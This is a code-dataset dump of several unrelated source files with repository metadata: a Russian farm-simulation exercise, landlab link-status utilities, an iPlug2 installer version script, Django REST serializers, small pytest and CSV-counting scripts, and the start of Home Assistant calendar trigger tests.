3. Далее запускается метод класса ферма "прошел_месяц"
Там циклом проходим по всем животным, запуская их собственный метод "прошел месяц"
(какое животное сколько раз делает продукт, как успешно, где использовать random,
какие случайные факторы внести в жизнь фермы, решайте сами)
4. Далее запускается метод класса Ферма "Сводная инфа" , который расскажет нам об изменениях на ферме. """
import random
from abc import ABCMeta, abstractmethod
# изменен базовый класс на абстрактный, с абстрактным методом bon_appetit
class base(metaclass=ABCMeta):
def __init__(self, prod=str, K_prod=int, prod_items=str, voice_per_day=0, speed=0, moves_per_day=0, food=float):
## counters ============================
self.things_current = 0
self.voices_current = 0
self.dist_current = 0
self.food_current = 0
self.things_at_all = 0
self.voices_at_all = 0
self.dist_at_all = 0
self.food_at_all = 0
##=======================================
## some attributes
self.prod = prod
self.k_prod = K_prod
self.prod_items = prod_items
self.voices_per_day = voice_per_day
self.speed = speed
self.moved_per_day = moves_per_day
self.food = food
self.voice_k = random.randint(1, 5)
self.move_k = random.randint(1, 5)
self.things_k = random.randint(1, 5)
self.summary_in_month = 0
def move(self, days=1):
self.dist_current = (self.speed * self.moved_per_day * days * self.move_k)
self.dist_at_all += self.dist_current
def voice(self, days=1):
self.voices_current = (self.voices_per_day * days * self.voice_k)
self.voices_at_all += self.voices_current
def items(self, month):
self.things_current = (self.things_k * self.k_prod * month)
self.things_at_all += self.things_current
## counting...
def deal_with_it(self, month=1):
self.voice(month * 31)
self.items(month)
self.move(month * 31)
self.bon_appetit(month * 31)
self.summary_in_month += month
@abstractmethod
def bon_appetit(self, days):
pass
class CrazyChicken(base):
def __init__(self, prod='Eggs', K_prod=8, prod_items='items', voice_per_day=25, speed=2, moves_per_day=2, food=0.3):
super().__init__(prod, K_prod, prod_items, voice_per_day, speed, moves_per_day, food)
def bon_appetit(self, days=1):
self.food_current = (self.food * days)
self.food_at_all += self.food_current
class CrazyCow(base):
def __init__(self, prod='Vodka', K_prod=5, prod_items='liters', voice_per_day=50, speed=15, moves_per_day=4,
food=1.2):
super().__init__(prod, K_prod, prod_items, voice_per_day, speed, moves_per_day, food)
def bon_appetit(self, days=1):
self.food_current = (self.food * days)
self.food_at_all += self.food_current
class CrazyDog(base):
def __init__(self, prod='Anger', K_prod=15, prod_items='tonnes', voice_per_day=30, speed=30, moves_per_day=8,
food=0.8):
super().__init__(prod, K_prod, prod_items, voice_per_day, speed, moves_per_day, food)
def bon_appetit(self, days=1):
self.food_current = (self.food * days)
self.food_at_all += self.food_current
class the_Farm:
def __init__(self):
self.cows = []
self.dogs = []
self.chickens = []
for i in range(0, 3):
self.chickens.append(CrazyChicken())
for i in range(0, 2):
self.cows.append(CrazyCow())
for i in range(0, 1):
self.dogs.append(CrazyDog())
self.animals = {'CRAZY_DOG': self.dogs, 'CRAZY_COW': self.cows, 'CRAZY_CHICKEN': self.chickens}
def past_month(self, month=1):
for animal in self.animals.keys():
for x in self.animals[animal]:
x.deal_with_it(month)
x.bon_appetit(month)
def status(self):
with open('farm9.txt', mode='a+', encoding='utf-8') as f:
print('============================================START=================================================',
file=f)
for animal in self.animals.keys():
if self.animals[animal]:
total_count = 0
for i, x in enumerate(self.animals[animal]):
print('%s' % animal, i + 1, file=f)
print('produced', x.prod, 'in an amount of ', x.things_at_all, x.prod_items, file=f)
print('runned out', x.dist_at_all, 'KM', file=f)
print('did a sound', x.voices_at_all, 'times', file=f)
print('eaten a food', x.food_at_all, 'kg', file=f)
total_count += x.things_at_all
print(animal, 'has produced at all', total_count, x.prod_items, 'products', x.prod, 'for a',
x.summary_in_month,
'months on the farm', file=f)
print('===========================================END====================================================',
file=f)
if __name__ == '__main__':
farm = the_Farm()
farm.past_month(1)
farm.status()
|
[
"bullsey@gmail.com"
] |
bullsey@gmail.com
|
7c4856b94c048615d4958703b69db3191a928ddf
|
d7195e61bc37f6b90c8bc2d6f164e5e7da98aa77
|
/landlab/grid/linkstatus.py
|
6eb74a1aadecb3b7f83bdb0915c210dc93491ae0
|
[
"MIT"
] |
permissive
|
joeljgeo/landlab
|
ffaae36b3ad3c5e1377355427bc9cfbb21074f01
|
1d2651c76a8a36a7a132f139638192df1823f8fb
|
refs/heads/master
| 2020-04-05T01:38:11.870170
| 2018-11-09T16:44:31
| 2018-11-09T16:44:31
| 156,443,219
| 0
| 0
|
MIT
| 2018-11-09T16:44:32
| 2018-11-06T20:26:54
|
Python
|
UTF-8
|
Python
| false
| false
| 5,415
|
py
|
#! /usr/bin/env python
import numpy as np
from .nodestatus import (CLOSED_BOUNDARY, CORE_NODE, FIXED_GRADIENT_BOUNDARY,
FIXED_VALUE_BOUNDARY)
from ..utils.decorators import (cache_result_in_object,
make_return_array_immutable)
# Define the link types
#: Indicates a link is *active*, and can carry flux
ACTIVE_LINK = 0
#: Indicates a link has a fixed (gradient) value, & behaves as a boundary
FIXED_LINK = 2
#: Indicates a link is *inactive*, and cannot carry flux
INACTIVE_LINK = 4
LINK_STATUS_FLAGS_LIST = [
ACTIVE_LINK,
FIXED_LINK,
INACTIVE_LINK,
]
LINK_STATUS_FLAGS = set(LINK_STATUS_FLAGS_LIST)
def is_fixed_link(node_status_at_link):
"""Find links that are fixed.
A link is fixed if it connects a core node with a fixed value
boundary node.
Parameters
----------
node_status_at_link : ndarray of int, shape `(n_links, 2)`
Node status a link tail and head.
Returns
-------
ndarray of bool, shape `(n_links, )`
True if link is fixed.
Examples
--------
>>> from landlab.grid.diagonals import is_fixed_link
>>> from landlab import CORE_NODE, FIXED_GRADIENT_BOUNDARY
>>> is_fixed_link([CORE_NODE, FIXED_GRADIENT_BOUNDARY])
array([ True], dtype=bool)
>>> from landlab import FIXED_VALUE_BOUNDARY
>>> is_fixed_link([CORE_NODE, FIXED_VALUE_BOUNDARY])
array([False], dtype=bool)
>>> is_fixed_link([[FIXED_GRADIENT_BOUNDARY, CORE_NODE],
... [CORE_NODE, CORE_NODE]])
array([ True, False], dtype=bool)
"""
node_status_at_link = np.asarray(node_status_at_link).reshape((-1, 2))
is_core_node = node_status_at_link == CORE_NODE
is_fixed_gradient_node = node_status_at_link == FIXED_GRADIENT_BOUNDARY
return ((is_core_node[:, 0] & is_fixed_gradient_node[:, 1]) |
(is_fixed_gradient_node[:, 0] & is_core_node[:, 1]))
def is_inactive_link(node_status_at_link):
"""Find links that are inactive.
A link is inactive if it connects two boundary nodes or one of
its nodes is closed.
Parameters
----------
node_status_at_link : ndarray of int, shape `(n_links, 2)`
Node status a link tail and head.
Returns
-------
ndarray of bool, shape `(n_links, )`
True if link is isactive.
Examples
--------
>>> from landlab.grid.diagonals import is_inactive_link
>>> from landlab import CORE_NODE, FIXED_GRADIENT_BOUNDARY
>>> is_inactive_link([CORE_NODE, CLOSED_BOUNDARY])
array([ True], dtype=bool)
>>> from landlab import FIXED_VALUE_BOUNDARY
>>> is_inactive_link([FIXED_GRADIENT_BOUNDARY, FIXED_VALUE_BOUNDARY])
array([ True], dtype=bool)
>>> is_inactive_link([[FIXED_GRADIENT_BOUNDARY, CLOSED_BOUNDARY],
... [CORE_NODE, CORE_NODE]])
array([ True, False], dtype=bool)
"""
node_status_at_link = np.asarray(node_status_at_link).reshape((-1, 2))
is_core = node_status_at_link == CORE_NODE
is_fixed_value = node_status_at_link == FIXED_VALUE_BOUNDARY
is_fixed_gradient = node_status_at_link == FIXED_GRADIENT_BOUNDARY
is_closed = node_status_at_link == CLOSED_BOUNDARY
is_boundary_node = is_fixed_value | is_fixed_gradient | is_closed
return ((is_boundary_node[:, 0] & is_boundary_node[:, 1]) |
(is_closed[:, 0] & is_core[:, 1]) |
(is_core[:, 0] & is_closed[:, 1]))
def is_active_link(node_status_at_link):
"""Find links that are active.
A link is active if it connects a core node with another core
node or a fixed value boundary.
Parameters
----------
node_status_at_link : ndarray of int, shape `(n_links, 2)`
Node status a link tail and head.
Returns
-------
ndarray of bool, shape `(n_links, )`
True if link is isactive.
Examples
--------
>>> from landlab.grid.diagonals import is_active_link
>>> from landlab import CORE_NODE, FIXED_GRADIENT_BOUNDARY
>>> is_active_link([CORE_NODE, FIXED_GRADIENT_BOUNDARY])
array([False], dtype=bool)
>>> from landlab import FIXED_VALUE_BOUNDARY
>>> is_active_link([CORE_NODE, FIXED_VALUE_BOUNDARY])
array([ True], dtype=bool)
>>> is_active_link([[FIXED_GRADIENT_BOUNDARY, CORE_NODE],
... [CORE_NODE, CORE_NODE]])
array([False, True], dtype=bool)
"""
node_status_at_link = np.asarray(node_status_at_link).reshape((-1, 2))
is_core_node = node_status_at_link == CORE_NODE
is_fixed_value_node = node_status_at_link == FIXED_VALUE_BOUNDARY
return (
(is_core_node[:, 0] & is_core_node[:, 1]) |
(is_core_node[:, 0] & is_fixed_value_node[:, 1]) |
(is_fixed_value_node[:, 0] & is_core_node[:, 1])
)
def set_status_at_link(node_status_at_link, out=None):
n_links = len(node_status_at_link)
if out is None:
out = np.full(n_links, 255, dtype=np.uint8)
_is_fixed_link = is_fixed_link(node_status_at_link)
_is_active_link = is_active_link(node_status_at_link)
_is_inactive_link = is_inactive_link(node_status_at_link)
assert np.all(np.sum(np.vstack((_is_active_link, _is_inactive_link,
_is_fixed_link)), axis=0) == 1)
out[_is_inactive_link] = INACTIVE_LINK
out[_is_active_link] = ACTIVE_LINK
out[_is_fixed_link] = FIXED_LINK
return out
|
[
"mcflugen@gmail.com"
] |
mcflugen@gmail.com
|
6d8323e3ea02352d65d2f5f99110a013ddd2cc3d
|
1348885ccdebfcb6010a267a3440a4ccc64373d1
|
/Examples/IPlugSideChain/scripts/update_installer_version.py
|
d4c3a9886d1d11e75b3572f01e371d4ebdeff671
|
[
"LicenseRef-scancode-other-permissive",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
ddf/iPlug2
|
c6565343def57dbf063fefb3b875c6337d363081
|
d05d20929544b06500369208b9ec81a62eb191fb
|
refs/heads/master
| 2022-11-02T04:39:45.019866
| 2022-10-10T17:15:04
| 2022-10-10T17:15:04
| 170,179,953
| 2
| 0
|
NOASSERTION
| 2019-02-11T18:30:30
| 2019-02-11T18:30:30
| null |
UTF-8
|
Python
| false
| false
| 3,091
|
py
|
#!/usr/bin/python3
# this script will update the versions in packages and innosetup installer files to match that in config.h
import plistlib, os, datetime, fileinput, glob, sys, string
scriptpath = os.path.dirname(os.path.realpath(__file__))
projectpath = os.path.abspath(os.path.join(scriptpath, os.pardir))
IPLUG2_ROOT = "../../.."
sys.path.insert(0, os.path.join(os.getcwd(), IPLUG2_ROOT + '/Scripts'))
from parse_config import parse_config
def replacestrs(filename, s, r):
files = glob.glob(filename)
for line in fileinput.input(files,inplace=1):
string.find(line, s)
line = line.replace(s, r)
sys.stdout.write(line)
def main():
demo = 0
if len(sys.argv) != 2:
print("Usage: update_installer_version.py demo(0 or 1)")
sys.exit(1)
else:
demo=int(sys.argv[1])
config = parse_config(projectpath)
# MAC INSTALLER
print("Updating Mac Installer version info...")
plistpath = projectpath + "/installer/" + config['BUNDLE_NAME'] + ".pkgproj"
with open(plistpath, 'rb') as fp:
installer = plistlib.load(fp)
# range = number of items in the installer (VST 2, VST 3, app, audiounit, aax)
for x in range(0,5):
installer['PACKAGES'][x]['PACKAGE_SETTINGS']['VERSION'] = config['FULL_VER_STR']
if demo:
installer['PROJECT']['PROJECT_PRESENTATION']['TITLE']['LOCALIZATIONS'][0]['VALUE'] = config['BUNDLE_NAME'] + " Demo"
installer['PROJECT']['PROJECT_PRESENTATION']['INTRODUCTION']['LOCALIZATIONS'][0]['VALUE']['PATH'] = "intro-demo.rtf"
else:
installer['PROJECT']['PROJECT_PRESENTATION']['TITLE']['LOCALIZATIONS'][0]['VALUE'] = config['BUNDLE_NAME']
installer['PROJECT']['PROJECT_PRESENTATION']['INTRODUCTION']['LOCALIZATIONS'][0]['VALUE']['PATH'] = "intro.rtf"
with open(plistpath, 'wb') as fp:
plistlib.dump(installer, fp)
# replacestrs(plistpath, "//Apple//", "//Apple Computer//")
# WIN INSTALLER
print("Updating Windows Installer version info...")
for line in fileinput.input(projectpath + "/installer/" + config['BUNDLE_NAME'] + ".iss",inplace=1):
if "AppVersion" in line:
line="AppVersion=" + config['FULL_VER_STR'] + "\n"
if "OutputBaseFilename" in line:
if demo:
line="OutputBaseFilename=IPlugSideChain Demo Installer\n"
else:
line="OutputBaseFilename=IPlugSideChain Installer\n"
if 'Source: "readme' in line:
if demo:
line='Source: "readme-win-demo.rtf"; DestDir: "{app}"; DestName: "readme.rtf"; Flags: isreadme\n'
else:
line='Source: "readme-win.rtf"; DestDir: "{app}"; DestName: "readme.rtf"; Flags: isreadme\n'
if "WelcomeLabel1" in line:
if demo:
line="WelcomeLabel1=Welcome to the IPlugSideChain Demo installer\n"
else:
line="WelcomeLabel1=Welcome to the IPlugSideChain installer\n"
if "SetupWindowTitle" in line:
if demo:
line="SetupWindowTitle=IPlugSideChain Demo installer\n"
else:
line="SetupWindowTitle=IPlugSideChain installer\n"
sys.stdout.write(line)
if __name__ == '__main__':
main()
|
[
"olilarkin@googlemail.com"
] |
olilarkin@googlemail.com
|
b24a89fc5023e465c9d433a04830c0efbcfae800
|
19c42d7c30a38e9ef5e5ef694b00449c92ec8f8f
|
/images/serializers.py
|
a89a0ad31cecf175961b0a0955b3cca0cda68f7d
|
[] |
no_license
|
Blitzone/backend
|
219210fe82652b872df1e0c4ccdaec21b1b1b887
|
9dfb1327db304877ff08fb88ed79df8182bffcf0
|
refs/heads/master
| 2021-01-17T07:10:15.523623
| 2016-07-18T23:12:53
| 2016-07-18T23:12:53
| 55,292,590
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 4,018
|
py
|
from rest_framework import serializers
from .models import Topic, Chapter, Blitz, UserTopic, UserChapter
from accounts.serializers import BlitzUserSerializer
from accounts.models import BlitzUser
from django.db.models import Q
class UserTopicSerializer(serializers.ModelSerializer):
class Meta:
model = UserTopic
fields = ('id', 'user', 'topic', 'likes', 'dislikes')
class DailyUserTopicSerializer(serializers.ModelSerializer):
user = serializers.SerializerMethodField('getUsername')
photoChapters = serializers.SerializerMethodField('getPhotoChapters')
is_liked = serializers.SerializerMethodField('isLiked')
is_disliked = serializers.SerializerMethodField('isDisliked')
is_blitzed = serializers.SerializerMethodField('isBlitzed')
def __init__(self, *args, **kwargs):
self.requestingUser = kwargs.pop('requestingUser', None)
super(DailyUserTopicSerializer, self).__init__(*args, **kwargs)
def getUsername(self, userTopic):
return BlitzUserSerializer(userTopic.user).data
def getPhotoChapters(self, userTopic):
photoChapters = UserChapter.objects.filter(userTopic=userTopic)
return DailyUserChapterSerializer(photoChapters, many=True).data
def isLiked(self, userTopic):
blitzUser = BlitzUser.objects.get(user__username=self.requestingUser)
t = UserTopic.objects.get(pk=userTopic.pk)
return t in blitzUser.likes.all()
def isDisliked(self, userTopic):
blitzUser = BlitzUser.objects.get(user__username=self.requestingUser)
t = UserTopic.objects.get(pk=userTopic.pk)
return t in blitzUser.dislikes.all()
def isBlitzed(self, userTopic):
blitzUser = BlitzUser.objects.get(user__username=self.requestingUser)
return Blitz.objects.filter(Q(user1=blitzUser, user2=userTopic.user) | Q(user1=userTopic.user, user2=blitzUser)).count() > 0
class Meta:
model = UserTopic
fields = (
'user',
'likes',
'dislikes',
'is_liked',
'is_disliked',
'is_blitzed',
'photoChapters',
'timestampUpdated')
class TopicSerializer(serializers.ModelSerializer):
class Meta:
model = Topic
fields = ('id', 'name', 'startDate', 'endDate')
class UserChapterSerializer(serializers.ModelSerializer):
user = serializers.SerializerMethodField('getUser')
def getUser(self, userChapter):
return BlitzUserSerializer(userChapter.userTopic.user).data
class Meta:
model = UserChapter
fields = ('id', 'image', 'userTopic', 'chapter', 'user')
class DailyUserChapterSerializer(serializers.ModelSerializer):
chapter = serializers.SerializerMethodField('getChapter')
def getChapter(self, userChapter):
return userChapter.chapter.name
class Meta:
model = UserChapter
fields = ('image', 'chapter')
class SearchUserChapterSerializer(serializers.ModelSerializer):
user = serializers.SerializerMethodField('getUser')
is_followed = serializers.SerializerMethodField('isFollowed')
def __init__(self, *args, **kwargs):
self.requestingUser = kwargs.pop('requestingUser', None)
super(SearchUserChapterSerializer, self).__init__(*args, **kwargs)
def getUser(self, userChapter):
return BlitzUserSerializer(userChapter.userTopic.user).data
def isFollowed(self, userChapter):
requestingBlitzUser = BlitzUser.objects.get(user__username=self.requestingUser)
return userChapter.userTopic.user in requestingBlitzUser.follows.all()
class Meta:
model = UserChapter
fields = ('id', 'image', 'userTopic', 'chapter', 'user', 'is_followed')
class ChapterSerializer(serializers.ModelSerializer):
class Meta:
model = Chapter
fields = ('id', 'name', 'topic')
class BlitzSerializer(serializers.ModelSerializer):
class Meta:
model = Blitz
fields = ('id', 'user1', 'user2', 'winner', 'userTopic', 'startDate', 'endDate')
|
[
"mikelv92@gmail.com"
] |
mikelv92@gmail.com
|
f2b5f59d3c117070dd065713dd8377902588a840
|
a535d7f6c873b0701507f3ba2286ad9d17485811
|
/test_yuk.py
|
c874ec5b211636a508d6e3d163be589de10ae32e
|
[
"MIT"
] |
permissive
|
okken/pytest-yuk
|
5ce3747b69fb82dcdc566330e9f44d9c6aeae223
|
36ec350d7e2d753ede1f89226d5e83baa5abe075
|
refs/heads/main
| 2023-03-26T14:31:32.380813
| 2021-03-26T21:19:14
| 2021-03-26T21:19:14
| 351,911,575
| 5
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 210
|
py
|
import pytest
@pytest.mark.yuk
def test_pass():
assert 1 == 1
@pytest.mark.yuk
def test_fail():
assert 1 == 2
def test_pass_unmarked():
assert 1 == 1
def test_fail_unmarked():
assert 1 == 2
|
[
"1568356+okken@users.noreply.github.com"
] |
1568356+okken@users.noreply.github.com
|
26ec2100442d4be7cb84f871f4af39f81f332470
|
056f10d9f99506bb9b5abf7e91633f3ad0c76061
|
/CountCSVRows.py
|
f31ac1a85a8c869736b03a67223274ff65e3ce66
|
[] |
no_license
|
taers232c/GAM-Scripts3
|
5f171b620b2ac19514ab7198e39720f59a60ba9e
|
a59c5adb7b03b6bc9a4e054b9b41eabae2779f13
|
refs/heads/master
| 2023-08-31T06:43:57.645295
| 2023-08-22T17:32:21
| 2023-08-22T17:32:21
| 108,921,186
| 176
| 46
| null | 2023-02-28T15:52:32
| 2017-10-30T23:48:44
|
Python
|
UTF-8
|
Python
| false
| false
| 573
|
py
|
#!/usr/bin/env python3
"""
# Purpose: Count rows in a CSV file
#
# Python: Use python or python3 below as appropriate to your system; verify that you have version 3
# $ python -V or python3 -V
# Python 3.x.y
# Usage:
# python3 CountCSVRows.py File.csv
#
"""
import csv
import sys
QUOTE_CHAR = '"' # Adjust as needed
if sys.argv[1] != '-':
inputFile = open(sys.argv[1], 'r', encoding='utf-8')
else:
inputFile = sys.stdin
rows = 0
for row in csv.DictReader(inputFile, quotechar=QUOTE_CHAR):
rows += 1
print(rows)
if inputFile != sys.stdin:
inputFile.close()
|
[
"ross.scroggs@gmail.com"
] |
ross.scroggs@gmail.com
|
33667e8b97d6c876c073bc1b32185c8188c271fa
|
a1614311937bae5204e171b2a3481fb31e61a490
|
/media/codigos/36/36sol118.py
|
0e4ccda5dba78b1aa00e7913b2e0c1bb249e5ec9
|
[] |
no_license
|
alexandre146/avaliar
|
8d406100ed72f10292a0580edac50ad061ad92e9
|
3daf247ca68962086592a356e013b07fa1569afe
|
refs/heads/master
| 2020-03-21T03:09:29.493919
| 2018-07-23T11:41:38
| 2018-07-23T11:41:38
| 137,883,682
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 178
|
py
|
n=int(input())
m=int(input())
if(m%n==0):
print(m)
elif(m%n!=0):
x=m%n
if((m-x)==n):
print("sem multiplos menores que"+str(m))
else:
print(m-x)
|
[
"alexandre146@gmail.com"
] |
alexandre146@gmail.com
|
ec49e6c91ca97068e5bb27f4a55e242b2c3c60c3
|
d8cbe9ce0469f72b8929af01538b6ceddff10a38
|
/tests/components/calendar/test_trigger.py
|
ac2547c81f72bf1d79b0d040948536d8a80702ac
|
[
"Apache-2.0"
] |
permissive
|
piitaya/home-assistant
|
9c1ba162dac9604e4d43e035e74bad7bba327f0b
|
48893738192431f96966998c4ff7a3723a2f8f4a
|
refs/heads/dev
| 2023-03-07T16:13:32.117970
| 2023-01-10T17:47:48
| 2023-01-10T17:47:48
| 172,578,293
| 3
| 1
|
Apache-2.0
| 2023-02-22T06:15:56
| 2019-02-25T20:19:40
|
Python
|
UTF-8
|
Python
| false
| false
| 21,468
|
py
|
"""Tests for the calendar automation.
The tests create calendar based automations, set up a fake set of calendar
events, then advance time to exercise that the automation is called. The
tests use a fixture that mocks out events returned by the calendar entity,
and create events using a relative time offset and then advance the clock
forward exercising the triggers.
"""
from __future__ import annotations
from collections.abc import Callable, Generator
import datetime
import logging
import secrets
from typing import Any
from unittest.mock import patch
import pytest
from homeassistant.components import calendar
import homeassistant.components.automation as automation
from homeassistant.components.calendar.trigger import EVENT_END, EVENT_START
from homeassistant.core import HomeAssistant
from homeassistant.setup import async_setup_component
import homeassistant.util.dt as dt_util
from tests.common import async_fire_time_changed, async_mock_service
_LOGGER = logging.getLogger(__name__)
CALENDAR_ENTITY_ID = "calendar.calendar_2"
CONFIG = {calendar.DOMAIN: {"platform": "demo"}}
TEST_AUTOMATION_ACTION = {
"service": "test.automation",
"data": {
"platform": "{{ trigger.platform }}",
"event": "{{ trigger.event }}",
"calendar_event": "{{ trigger.calendar_event }}",
},
}
# The trigger sets two alarms: One based on the next event and one
# to refresh the schedule. The test advances the time an arbitrary
# amount to trigger either type of event with a small jitter.
TEST_TIME_ADVANCE_INTERVAL = datetime.timedelta(minutes=1)
TEST_UPDATE_INTERVAL = datetime.timedelta(minutes=7)
class FakeSchedule:
"""Test fixture class for return events in a specific date range."""
def __init__(self, hass, freezer):
"""Initiailize FakeSchedule."""
self.hass = hass
self.freezer = freezer
# Map of event start time to event
self.events: list[calendar.CalendarEvent] = []
def create_event(
self,
start: datetime.timedelta,
end: datetime.timedelta,
summary: str | None = None,
description: str | None = None,
location: str | None = None,
) -> dict[str, Any]:
"""Create a new fake event, used by tests."""
event = calendar.CalendarEvent(
start=start,
end=end,
summary=summary if summary else f"Event {secrets.token_hex(16)}",
description=description,
location=location,
)
self.events.append(event)
return event.as_dict()
async def async_get_events(
self,
hass: HomeAssistant,
start_date: datetime.datetime,
end_date: datetime.datetime,
) -> list[calendar.CalendarEvent]:
"""Get all events in a specific time frame, used by the demo calendar."""
assert start_date < end_date
values = []
local_start_date = dt_util.as_local(start_date)
local_end_date = dt_util.as_local(end_date)
for event in self.events:
if (
event.start_datetime_local < local_end_date
and local_start_date < event.end_datetime_local
):
values.append(event)
return values
async def fire_time(self, trigger_time: datetime.datetime) -> None:
"""Fire an alarm and wait."""
_LOGGER.debug(f"Firing alarm @ {trigger_time}")
self.freezer.move_to(trigger_time)
async_fire_time_changed(self.hass, trigger_time)
await self.hass.async_block_till_done()
async def fire_until(self, end: datetime.timedelta) -> None:
"""Simulate the passage of time by firing alarms until the time is reached."""
current_time = dt_util.as_utc(self.freezer())
if (end - current_time) > (TEST_UPDATE_INTERVAL * 2):
# Jump ahead to right before the target alarm them to remove
# unnecessary waiting, before advancing in smaller increments below.
# This leaves time for multiple update intervals to refresh the set
# of upcoming events
await self.fire_time(end - TEST_UPDATE_INTERVAL * 2)
while dt_util.utcnow() < end:
self.freezer.tick(TEST_TIME_ADVANCE_INTERVAL)
await self.fire_time(dt_util.utcnow())
@pytest.fixture
def set_time_zone(hass):
"""Set the time zone for the tests."""
# Set our timezone to CST/Regina so we can check calculations
# This keeps UTC-6 all year round
hass.config.set_time_zone("America/Regina")
@pytest.fixture
def fake_schedule(hass, freezer):
"""Fixture that tests can use to make fake events."""
# Setup start time for all tests
freezer.move_to("2022-04-19 10:31:02+00:00")
schedule = FakeSchedule(hass, freezer)
with patch(
"homeassistant.components.demo.calendar.DemoCalendar.async_get_events",
new=schedule.async_get_events,
):
yield schedule
@pytest.fixture(autouse=True)
async def setup_calendar(hass: HomeAssistant, fake_schedule: FakeSchedule) -> None:
"""Initialize the demo calendar."""
assert await async_setup_component(hass, calendar.DOMAIN, CONFIG)
await hass.async_block_till_done()
async def create_automation(hass: HomeAssistant, event_type: str, offset=None) -> None:
"""Register an automation."""
trigger_data = {
"platform": calendar.DOMAIN,
"entity_id": CALENDAR_ENTITY_ID,
"event": event_type,
}
if offset:
trigger_data["offset"] = offset
assert await async_setup_component(
hass,
automation.DOMAIN,
{
automation.DOMAIN: {
"trigger": trigger_data,
"action": TEST_AUTOMATION_ACTION,
"mode": "queued",
}
},
)
await hass.async_block_till_done()
@pytest.fixture
def calls(hass: HomeAssistant) -> Callable[[], list]:
"""Fixture to return payload data for automation calls."""
service_calls = async_mock_service(hass, "test", "automation")
def get_trigger_data() -> list:
return [c.data for c in service_calls]
return get_trigger_data
@pytest.fixture(autouse=True)
def mock_update_interval() -> Generator[None, None, None]:
"""Fixture to override the update interval for refreshing events."""
with patch(
"homeassistant.components.calendar.trigger.UPDATE_INTERVAL",
new=TEST_UPDATE_INTERVAL,
):
yield
async def test_event_start_trigger(hass, calls, fake_schedule):
"""Test the a calendar trigger based on start time."""
event_data = fake_schedule.create_event(
start=datetime.datetime.fromisoformat("2022-04-19 11:00:00+00:00"),
end=datetime.datetime.fromisoformat("2022-04-19 11:30:00+00:00"),
)
await create_automation(hass, EVENT_START)
assert len(calls()) == 0
await fake_schedule.fire_until(
datetime.datetime.fromisoformat("2022-04-19 11:15:00+00:00"),
)
assert calls() == [
{
"platform": "calendar",
"event": EVENT_START,
"calendar_event": event_data,
}
]
@pytest.mark.parametrize(
"offset_str, offset_delta",
[
("-01:00", datetime.timedelta(hours=-1)),
("+01:00", datetime.timedelta(hours=1)),
],
)
async def test_event_start_trigger_with_offset(
hass, calls, fake_schedule, offset_str, offset_delta
):
"""Test the a calendar trigger based on start time with an offset."""
event_data = fake_schedule.create_event(
start=datetime.datetime.fromisoformat("2022-04-19 12:00:00+00:00"),
end=datetime.datetime.fromisoformat("2022-04-19 12:30:00+00:00"),
)
await create_automation(hass, EVENT_START, offset=offset_str)
# No calls yet
await fake_schedule.fire_until(
datetime.datetime.fromisoformat("2022-04-19 11:55:00+00:00") + offset_delta,
)
assert len(calls()) == 0
# Event has started w/ offset
await fake_schedule.fire_until(
datetime.datetime.fromisoformat("2022-04-19 12:05:00+00:00") + offset_delta,
)
assert calls() == [
{
"platform": "calendar",
"event": EVENT_START,
"calendar_event": event_data,
}
]
async def test_event_end_trigger(hass, calls, fake_schedule):
"""Test the a calendar trigger based on end time."""
event_data = fake_schedule.create_event(
start=datetime.datetime.fromisoformat("2022-04-19 11:00:00+00:00"),
end=datetime.datetime.fromisoformat("2022-04-19 12:00:00+00:00"),
)
await create_automation(hass, EVENT_END)
# Event started, nothing should fire yet
await fake_schedule.fire_until(
datetime.datetime.fromisoformat("2022-04-19 11:10:00+00:00")
)
assert len(calls()) == 0
# Event ends
await fake_schedule.fire_until(
datetime.datetime.fromisoformat("2022-04-19 12:10:00+00:00")
)
assert calls() == [
{
"platform": "calendar",
"event": EVENT_END,
"calendar_event": event_data,
}
]
@pytest.mark.parametrize(
"offset_str, offset_delta",
[
("-01:00", datetime.timedelta(hours=-1)),
("+01:00", datetime.timedelta(hours=1)),
],
)
async def test_event_end_trigger_with_offset(
hass, calls, fake_schedule, offset_str, offset_delta
):
"""Test the a calendar trigger based on end time with an offset."""
event_data = fake_schedule.create_event(
start=datetime.datetime.fromisoformat("2022-04-19 12:00:00+00:00"),
end=datetime.datetime.fromisoformat("2022-04-19 12:30:00+00:00"),
)
await create_automation(hass, EVENT_END, offset=offset_str)
# No calls yet
await fake_schedule.fire_until(
datetime.datetime.fromisoformat("2022-04-19 12:05:00+00:00") + offset_delta,
)
assert len(calls()) == 0
# Event has started w/ offset
await fake_schedule.fire_until(
datetime.datetime.fromisoformat("2022-04-19 12:35:00+00:00") + offset_delta,
)
assert calls() == [
{
"platform": "calendar",
"event": EVENT_END,
"calendar_event": event_data,
}
]
async def test_calendar_trigger_with_no_events(hass, calls, fake_schedule):
"""Test a calendar trigger setup with no events."""
await create_automation(hass, EVENT_START)
await create_automation(hass, EVENT_END)
# No calls, at arbitrary times
await fake_schedule.fire_until(
datetime.datetime.fromisoformat("2022-04-19 11:00:00+00:00")
)
assert len(calls()) == 0
async def test_multiple_start_events(hass, calls, fake_schedule):
"""Test that a trigger fires for multiple events."""
event_data1 = fake_schedule.create_event(
start=datetime.datetime.fromisoformat("2022-04-19 10:45:00+00:00"),
end=datetime.datetime.fromisoformat("2022-04-19 11:00:00+00:00"),
)
event_data2 = fake_schedule.create_event(
start=datetime.datetime.fromisoformat("2022-04-19 11:00:00+00:00"),
end=datetime.datetime.fromisoformat("2022-04-19 11:15:00+00:00"),
)
await create_automation(hass, EVENT_START)
await fake_schedule.fire_until(
datetime.datetime.fromisoformat("2022-04-19 11:30:00+00:00")
)
assert calls() == [
{
"platform": "calendar",
"event": EVENT_START,
"calendar_event": event_data1,
},
{
"platform": "calendar",
"event": EVENT_START,
"calendar_event": event_data2,
},
]
async def test_multiple_end_events(hass, calls, fake_schedule):
"""Test that a trigger fires for multiple events."""
event_data1 = fake_schedule.create_event(
start=datetime.datetime.fromisoformat("2022-04-19 10:45:00+00:00"),
end=datetime.datetime.fromisoformat("2022-04-19 11:00:00+00:00"),
)
event_data2 = fake_schedule.create_event(
start=datetime.datetime.fromisoformat("2022-04-19 11:00:00+00:00"),
end=datetime.datetime.fromisoformat("2022-04-19 11:15:00+00:00"),
)
await create_automation(hass, EVENT_END)
await fake_schedule.fire_until(
datetime.datetime.fromisoformat("2022-04-19 11:30:00+00:00")
)
assert calls() == [
{
"platform": "calendar",
"event": EVENT_END,
